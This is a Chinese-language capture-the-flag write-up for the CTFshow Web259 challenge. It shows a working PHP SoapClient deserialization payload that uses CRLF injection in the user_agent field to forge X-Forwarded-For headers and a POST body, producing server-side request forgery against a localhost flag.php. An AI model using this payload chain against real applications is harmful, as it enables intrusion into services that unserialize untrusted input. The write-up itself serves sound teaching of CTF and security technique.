index.php
看到该题目第一眼,大脑直接一个简单的想法就是通过访问flag.php添加X-Forwarded-For然后POST发送token数据。
但!在本题的环境当中,由于使用了Cloudflare代理导致,Cloudflare 会将 HTTP 代理的 IP 地址附加到这个标头,在两次调用array_pop后我们取得的始终是固定的服务器IP。
因此我们只能通过SoapClient原生类的反序列化来做该题目。
SoapClient采用了HTTP作为底层通讯协议,XML作为数据传送的格式,其采用了SOAP协议(SOAP 是一种简单的基于 XML 的协议,它使应用程序通过 HTTP 来交换信息),其次我们知道某个实例化的类,如果去调用了一个不存在的函数,会去调用 __call 方法。下面我们一步步解释原理。
我们先用nc开启本地监听:我这里是mac电脑所以命令行是:nc -l 7799
然后运行下面的php代码即可。
<?php //token=ctfshow $client = new SoapClient(null,array('uri'=>'127.0.0.1','location'=>'http://127.0.0.1:7799')); //创建一个对象,里面的参数第一个一般为null,第二个参数是数组形式,想要了解更多自行百度。 $client->getFlag(); //这里我们调用一个不存在的方法来触发SoapClient类的__call函数,据我了解该默认__call函数会发送此请求给服务器。 ?>观察nc监听的结果如下
我们创建对象的时候设置的参数‘uri’体现在第二个红箭头指向的地方,‘location’具体表现在POST和Host。
我们还可以控制参数User-Agent,通过创建对象的时候添加参数'user_agent'=>$u,具体看如下php代码
<?php //token=ctfshow $u = "ctfshow\r\nX-Forwarded-For:127.0.0.1,127.0.0.1,127.0.0.1\r\nContent-Type: application/x-form-urlencoded\r\nContent-Length: 13\r\n\r\ntoken=ctfshow"; $client = new SoapClient(null,array('uri'=>'127.0.0.1','location'=>'http://127.0.0.1:7799','user_agent'=>$u)); $client->getFlag(); ?>里面的换行我们用\r\n表示而不是\n\r。因为我们要以post方式提交一个参数token=ctfshow,所以Content-Type: application/x-www-form-urlencoded并Content-Length: 13\r\n\r\ntoken=ctfshow 。而这里的X-Forwarded-For:127.0.0.1,127.0.0.1,127.0.0.1是为了绕过那两次数组弹出元素。
结果如下
发现没问题的话,我们就可以反序列化该对象,url编码,提交参数获取flag即可。这里注意将location修改为和我们的题目相关。
<?php //token=ctfshow $u = "ctfshow\r\nX-Forwarded-For:127.0.0.1,127.0.0.1,127.0.0.1\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: 13\r\n\r\ntoken=ctfshow"; $client = new SoapClient(null,array('uri'=>'127.0.0.1','location'=>'http://127.0.0.1/flag.php','user_agent'=>$u)); //$client->getFlag(); echo urlencode(serialize($client)); ?> 至此收尾该题。标签:127.0,Web259,0.1,SoapClient,CTFSHOW,序列化,php,location From: https://www.cnblogs.com/meng-han/p/16626675.html